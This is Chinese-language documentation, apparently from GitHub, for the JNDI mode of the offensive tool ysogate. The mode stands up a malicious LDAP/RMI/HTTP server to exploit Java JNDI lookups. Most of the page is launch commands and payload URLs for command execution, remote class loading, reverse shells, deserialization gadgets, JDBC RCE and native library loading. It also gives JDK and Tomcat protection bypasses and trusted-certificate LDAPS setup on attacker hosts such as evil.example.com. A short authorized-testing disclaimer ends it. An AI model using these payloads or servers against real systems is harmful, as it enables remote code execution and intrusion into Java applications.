JNDI Mode
March 11, 2026 · View on GitHub
JNDI Mode用于启动本地恶意JNDI服务器,支持LDAP、RMI和HTTP服务。该模式支持多种绕过技术和利用方式,适用于安全测试和漏洞研究。
基本用法
java -jar ysogate-[version]-all.jar -m jndi [OPTIONS]
命令行选项
[root]#~ JNDI Mode Options:
-h,--help Show help message
-hp,--httpPort <arg> HTTP port
-i,--ip <arg> IP address for JNDI server
-ks,--keystore <arg> JKS file for LDAPS
-kp,--storepass <arg> JKS password
-ldap2rmi bypass trustSerialData
-lp,--ldapPort <arg> LDAP port
-lsp,--ldapsPort <arg> LDAPS port
-m,--mode <arg> Operation mode: 'payload' or 'jndi' or 'gen'
-onlyRef bypass trustSerialData
-path <arg> Fixed route path for all requests
-rp,--rmiPort <arg> RMI port
使用示例
基本用法
启动JNDI服务器:
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -onlyRef
指定端口启动:
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -rp 1099 -lp 1389 -hp 8080
固定路径模式
使用 -path 参数可以让所有 LDAP/RMI 请求(无论客户端请求的路径是什么)都路由到指定路径的处理逻辑。适用于无法控制客户端 JNDI lookup 路径的场景。
# 所有请求都返回 DNSLog 探测结果
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -path /Basic/DNSLog/xxx.dnslog.cn
# 所有请求都执行命令
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -path /Basic/Command/calc
# 所有请求都返回反序列化 payload
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -path /Deserialize/Jackson2/Command/calc
例如以上启动后,无论客户端请求 ldap://127.0.0.1:1389/ 还是 ldap://127.0.0.1:1389/anything,服务端都会返回 -path 指定路径对应的结果。
trustSerialData 绕过
在JDK20+版本中com.sun.jndi.ldap.object.trustSerialData属性默认为false,无法在com.sun.jndi.ldap.Obj#decodeObject中反序列化,绕过方式主要有:
ldap2rmi
通过设置javaRemoteLocation来使用com.sun.jndi.ldap.Obj#decodeRmiObject还原Factory对象,从ldap转换成rmi进行绕过。
可以在启动时添加-ldap2rmi来进行可能的绕过,例如:
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -ldap2rmi
onlyRef
利用本地Factory进行攻击时,可以通过设置objectClass为javaNamingReference来避免进行反序列化,利用decodeReference来还原Factory对象,不适用于BeanFactory绕过,因为BeanFactory需要ResourceRef类型。
可以在启动时添加-onlyRef来进行可能的绕过,例如:
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -onlyRef
利用方式
codebase 注入
LDAP和RMI通用,通过 JNDI Reference 指定codebase,远程加载ObjectFactory,需要trustURLCodebase=true。
# 参数支持urlsafe base64
ldap://127.0.0.1:1389/Basic/xxxxxxx/Y2FsYw==
# 执行命令
ldap://127.0.0.1:1389/Basic/Command/calc
# Dnslog
ldap://127.0.0.1:1389/Basic/DNSLog/xxx.dnslog.cn
# 加载自定义字节码
ldap://127.0.0.1:1389/Basic/Custom/data:yv66vxxxxxxxxxxxxx
# 从/tmp/a.class加载自定义字节码
ldap://127.0.0.1:1389/Basic/Custom/file:L3RtcC9hLmNsYXNz
# 加载内存马(todo)
ldap://127.0.0.1:1389/Basic/Custom/mem:Tomcat
# 原生反弹 Shell (支持 Windows)
ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444
基于 BeanFactory
BeanFactory这个类在tomcat8+或者SpringBoot 1.2.x+存在,且要求tomcat版本小于9.0.63,或小于8.5.79。
Tomcat ELProcessor
利用javax.el.ELProcessor#eval
# 使用方式同Basic
# 使用el调用ScriptEngineManager来加载字节码(nashorn在JDK15后被移除)
ldap://127.0.0.1:1389/ELProcessor/Command/calc
ldap://127.0.0.1:1389/ELProcessor/Custom/data:yv66vxxxxxxxxxxxxx
# jdk9以上可以用el调用JShell来加载字节码
ldap://127.0.0.1:1389/ELProcessor17/Command/calc
GroovyShell & GroovyClassLoader
利用groovy.lang.GroovyShell#evaluate和groovy.lang.GroovyClassLoader#parseClass(java.lang.String)
# 使用方式同Basic
ldap://127.0.0.1:1389/GroovyClassLoader/Command/calc
ldap://127.0.0.1:1389/GroovyShell/Command/calc
SnakeYaml
利用org.yaml.snakeyaml.Yaml#load(java.lang.String)
# 使用方式同Basic
ldap://127.0.0.1:1389/SnakeYaml/Command/calc
XStream
利用com.thoughtworks.xstream.XStream#fromXML(java.net.URL),可以打CVE-2021-39149,要求XStream < 1.4.18
# 暂时只写了执行命令
ldap://127.0.0.1:1389/XStream/calc
MLet
通过 MLet 探测 classpath 中存在的类
ldap://127.0.0.1:1389/MLet/com.example.TestClass
如果 com.example.TestClass 这个类存在, 则 HTTP 服务器会接收到一个 /com/example/TestClass_exists.class 请求
NativeLibLoader
利用com.sun.glass.utils.NativeLibLoader#loadLibrary加载目标服务器上的动态链接库,适用于能够写文件的场景。
写入dll/so/dylib文件,例如/tmp/evil.so,使用时把路径去掉后缀, 即/tmp/evil
ldap://127.0.0.1:1389/NativeLibLoader/L3RtcC9ldmls
JSVGCanvas
高版本tomcat下通过GenericNamingResourcesFactory来调用setter,触发 org.apache.batik.swing.JSVGCanvas#setURI,需要TomcatJDBC,batik-swing 1.15以下,适用于高版本TomcatBypass
ldap://127.0.0.1:1389/JSVGCanvas/Command/calc
JDBC RCE
支持以下数据库连接池:
- Commons DBCP
- Tomcat DBCP
- Tomcat JDBC
- Alibaba Druid
- HikariCP
- C3P0
支持以下数据库:
- Mysql
- PostgreSQL
- H2
- IBM DB2
- Derby
- Teradata
ldap://127.0.0.1:1389/TomcatJDBC/H2/Java/Command/calc
反序列化
通过反序列化来进行RCE,暂不支持rmi协议
# 执行命令
ldap://127.0.0.1:1389/Deserialize/{gadget}/Command/{cmd}
# 加载自定义字节码(部分需要继承AbstractTranslet)
ldap://127.0.0.1:1389/Deserialize/{gadget}/Custom/data:yv66vxxxxxxxxxxxxx
# 从/tmp/a.class加载自定义字节码(部分需要继承AbstractTranslet)
ldap://127.0.0.1:1389/Deserialize/{gadget}/Custom/file:L3RtcC9hLmNsYXNz
# 加载内存马(todo)
ldap://127.0.0.1:1389/Deserialize/{gadget}/Custom/mem:Tomcat
# example
ldap://127.0.0.1:1389/Deserialize/Jackson2/Command/calc
LDAPS 支持
ysogate 同时监听 LDAP(明文)和 LDAPS(SSL/TLS)端口,默认端口 1389 / 1636。
方式一:内置 LDAPS(JKS 证书)
适用于拥有域名 + Let's Encrypt 证书的场景。
# 1. 申请 Let's Encrypt 证书
certbot certonly --standalone -d evil.example.com
# 2. 转换为 JKS 格式
openssl pkcs12 -export \
-in /etc/letsencrypt/live/evil.example.com/fullchain.pem \
-inkey /etc/letsencrypt/live/evil.example.com/privkey.pem \
-out cert.p12 -name ldaps -passout pass:changeit
keytool -importkeystore \
-srckeystore cert.p12 -srcstoretype PKCS12 -srcstorepass changeit \
-destkeystore ldaps.jks -deststoretype JKS -deststorepass changeit
# 3. 启动(客户端默认 JDK 即可信任)
java -jar ysogate.jar -m jndi -i evil.example.com -ks ldaps.jks -kp changeit
不指定 -ks 时使用自签名证书(客户端需手动信任):
java -jar ysogate.jar -m jndi -i 0.0.0.0
方式二:TLS 反向代理(推荐,仅有 IP 时可用)
参考 phith0n 的方案,使用 nginx/socat 在前端处理 TLS,后端转发到明文 LDAP。
优势:ysogate 无需配置证书,只需明文 LDAP;TLS 证书由代理处理。
使用 sslip.io 获取受信证书(仅有 IP)
sslip.io 是免费泛域名服务,1-2-3-4.sslip.io 自动解析到 1.2.3.4。
# 1. 用 certbot 为 sslip.io 子域名申请证书
certbot certonly --standalone -d 1-2-3-4.sslip.io
# 2. 启动 ysogate 明文 LDAP
java -jar ysogate.jar -m jndi -i 1.2.3.4
# 3. 用 socat 做 TLS 代理(636 -> 1389)
socat OPENSSL-LISTEN:636,cert=/etc/letsencrypt/live/1-2-3-4.sslip.io/fullchain.pem,key=/etc/letsencrypt/live/1-2-3-4.sslip.io/privkey.pem,verify=0,reuseaddr,fork TCP:127.0.0.1:1389
或使用 nginx stream 模块:
stream {
upstream ldap_backend {
server 127.0.0.1:1389;
}
server {
listen 636 ssl;
ssl_certificate /etc/letsencrypt/live/1-2-3-4.sslip.io/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/1-2-3-4.sslip.io/privkey.pem;
proxy_pass ldap_backend;
}
}
客户端使用(默认 JDK,零配置):
ctx.lookup("ldaps://1-2-3-4.sslip.io:636/Deserialize/CB2183NOCC/Command/calc");
参数说明
-i, --ip: 指定JNDI服务器监听的IP地址-rp, --rmiPort: 指定RMI服务端口-lp, --ldapPort: 指定LDAP服务端口-lsp, --ldapsPort: 指定LDAPS服务端口-ks, --keystore: 指定JKS证书文件路径-kp, --storepass: 指定JKS证书密码(默认changeit)-hp, --httpPort: 指定HTTP服务端口-ldap2rmi: 使用ldap到rmi的绕过方式-onlyRef: 仅使用Reference绕过方式-path: 固定路径模式,所有请求都路由到指定路径(如/Basic/DNSLog/xxx.dnslog.cn)-h, --help: 显示帮助信息
安全使用说明
⚠️ 重要提醒:本工具仅面向合法授权的安全测试使用,请勿用于非法目的。
使用本工具进行安全测试时,请确保:
- 已获得目标系统的明确授权
- 仅在授权范围内进行测试
- 遵守相关法律法规